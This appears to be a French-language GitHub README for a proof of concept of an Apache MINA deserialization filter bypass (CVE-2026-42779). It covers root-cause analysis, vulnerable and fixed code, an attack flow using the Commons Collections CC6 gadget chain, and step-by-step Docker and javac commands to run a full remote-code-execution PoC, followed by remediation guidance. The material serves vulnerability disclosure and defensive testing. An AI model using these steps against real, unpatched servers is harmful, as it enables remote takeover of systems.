
Preuve de concept démontrant un contournement du filtre de désérialisation dans Apache MINA menant à une exécution de code à distance, avec une analyse détaillée des causes racines, des PoC d'exploitation et des recommandations de remédiation.
CVSS 3.1 : 9.8 CRITIQUE AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-502 Désérialisation de données non fiables
Signaleur : Venkatraman Kumar, Securin
Avis : Liste de diffusion Apache
Les versions d'Apache MINA 2.1.0 à 2.1.11 et 2.2.0 à 2.2.6 contiennent un contournement du filtre de désérialisation dans AbstractIoBuffer.resolveClass(). La liste blanche acceptMatchers — destinée à restreindre les classes Java pouvant être désérialisées — est complètement ignorée lorsque ObjectStreamClass.forClass() renvoie null.
Un attaquant disposant d'un accès réseau à un point de terminaison MINA utilisant ObjectSerializationCodecFactory peut concevoir une charge utile de protocole qui contourne le filtre de classes, permettant une exécution de code à distance complète via des chaînes de gadgets de désérialisation Java standard (par exemple, Commons Collections).
Il s'agit d'un correctif incomplet pour CVE-2026-41635. Le correctif d'origine a été appliqué à la branche 2.0.x mais n'a jamais été rétroporté vers 2.1.x ou 2.2.x en raison d'un oubli lors de la fusion.
| Branche | Vulnérable | Corrigée |
|---|---|---|
| 2.1.x | 2.1.0 – 2.1.11 | 2.1.12 |
| 2.2.x | 2.2.0 – 2.2.6 | 2.2.7 |
La vulnérabilité se trouve dans AbstractIoBuffer.resolveClass(), qui gère la résolution de classes lors de la désérialisation d'objets Java.
MINA utilise un protocole de sérialisation personnalisé avec deux types de descripteurs de classes :
Dans le code vulnérable, le filtre acceptMatchers n'est vérifié que dans la branche de type 1 (lorsque forClass() renvoie une valeur non nulle). La branche de type 0 appelle Class.forName() directement, contournant entièrement le filtre :
// AbstractIoBuffer.java — VULNÉRABLE (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
Class<?> clazz = desc.forClass();
if (clazz == null) {
// BOGUE : aucune vérification acceptMatchers — filtre complètement contourné
return Class.forName(name, false, classLoader);
} else {
// Le filtre n'est appliqué qu'ici
for (ClassNameMatcher matcher : acceptMatchers) { ... }
}
}
Le correctif dans 2.2.7 déplace la vérification du filtre avant la branche :
// AbstractIoBuffer.java — CORRIGÉ (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
String className = desc.getName();
// Le filtre est appliqué EN PREMIER, quel que soit le résultat de forClass()
if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
throw new ClassNotFoundException("Class not in accept list " + className);
}
Class<?> clazz = desc.forClass();
// ... la résolution sécurisée suit
}
Attaquant Serveur MINA vulnérable
| |
| 1. Conçoit une charge utile MINA avec des |
| descripteurs de type 0 pour les classes |
| de la chaîne de gadgets |
| |
| 2. Envoie au point de terminaison utilisant |
| ObjectSerializationCodecFactory -------->|
| |
| 3. readClassDescriptor() lit le type 0
| → délègue à super (Java standard)|
| |
| 4. resolveClass() voit forClass()==null
| → Class.forName() SANS filtre |
| |
| 5. La chaîne de gadgets est entièrement
| désérialisée |
| → readObject() déclenche la chaîne
| → Runtime.exec() s'exécute |
| |
| RCE RÉUSSIE |
IoBuffer.getObject() ou ObjectSerializationCodecFactoryaccept() configuré (les applications sans filtre étaient déjà exploitables via CVE-2026-41635)L'attaquant contrôle le flux d'octets sérialisé. En utilisant des descripteurs de classes de type 0 (au lieu du type 1) pour les classes sérialisables de la chaîne de gadgets, chaque classe du graphe de désérialisation contourne le filtre acceptMatchers, quelle que soit la configuration de la liste blanche de l'application.
Trois PoC démontrent un impact croissant :
| PoC | Ce qu'il prouve |
|---|---|
FilterBypassPoC.java | Contournement du filtre pour les primitives, les classes non sérialisables, les tableaux |
CraftedBypassPoC.java | Les charges utiles de type 0 conçues par l'attaquant contournent le filtre pour TOUTE classe sérialisable |
RcePoC.java | RCE complète via la chaîne de gadgets CC6 à travers le contournement du filtre |
Les classes absentes de la liste d'acceptation sont désérialisées sans restriction :

Un attaquant conçoit des charges utiles de protocole MINA avec des descripteurs de type 0 pour charger n'importe quelle classe au-delà d'une liste d'acceptation limitée à String :

La chaîne de gadgets variante CC6 (HashSet → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec()) permet l'exécution de commandes via le contournement du filtre :

Les mêmes tests sont bloqués sur la version corrigée :

La chaîne de gadgets est rejetée par le filtre :

Le moyen le plus rapide de tester — aucun JDK ni Maven requis :
# Clonez ce dépôt
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779
# Compilez et exécutez tous les PoC
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779
# Exécutez des PoC individuels
docker run --rm cve-2026-42779 bypass # Contournement du filtre uniquement
docker run --rm cve-2026-42779 crafted # Contournement par charge utile conçue
docker run --rm cve-2026-42779 rce # RCE complète
# Ouvrez un shell pour explorer
docker run --rm -it cve-2026-42779 shell
L'image inclut le JAR MINA 2.2.6 vulnérable, Commons Collections 3.2.2 et les trois PoC précompilés. Tout s'exécute de manière autonome dans le conteneur.
Si vous préférez compiler à partir des sources :
# Clonez et compilez la version vulnérable
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q
# Téléchargez commons-collections (pour le PoC RCE)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
-o commons-collections-3.2.2.jar
# Compilez les PoC
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java
# Exécutez le PoC de contournement du filtre
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC
# Exécutez le PoC de charge utile conçue
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC
# Exécutez le PoC RCE complet
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
RcePoC
Ou utilisez le Makefile inclus :
make run-all # Compile et exécute les trois PoC
make run-rce # Uniquement le PoC RCE
Prérequis : JDK 11+ et Maven (pour la compilation des sources) ou Docker (pour le conteneur)
Mettez à niveau vers Apache MINA 2.1.12 ou 2.2.7.
Si la mise à niveau n'est pas immédiatement possible :
IoBuffer.getObject() ou ObjectSerializationCodecFactory avec des entrées non fiables| Date | Événement |
|---|---|
| 2026-05-01 | Avis publié par l'équipe Apache MINA PMC |
| 2026-05-01 | Versions corrigées 2.1.12 et 2.2.7 publiées |
| 2026-05-02 | Ce PoC développé et testé |
Cette preuve de concept est fournie uniquement pour la recherche en sécurité défensive, l'éducation et les tests d'intrusion autorisés. Utilisez-la de manière responsable et uniquement contre des systèmes que vous avez la permission de tester.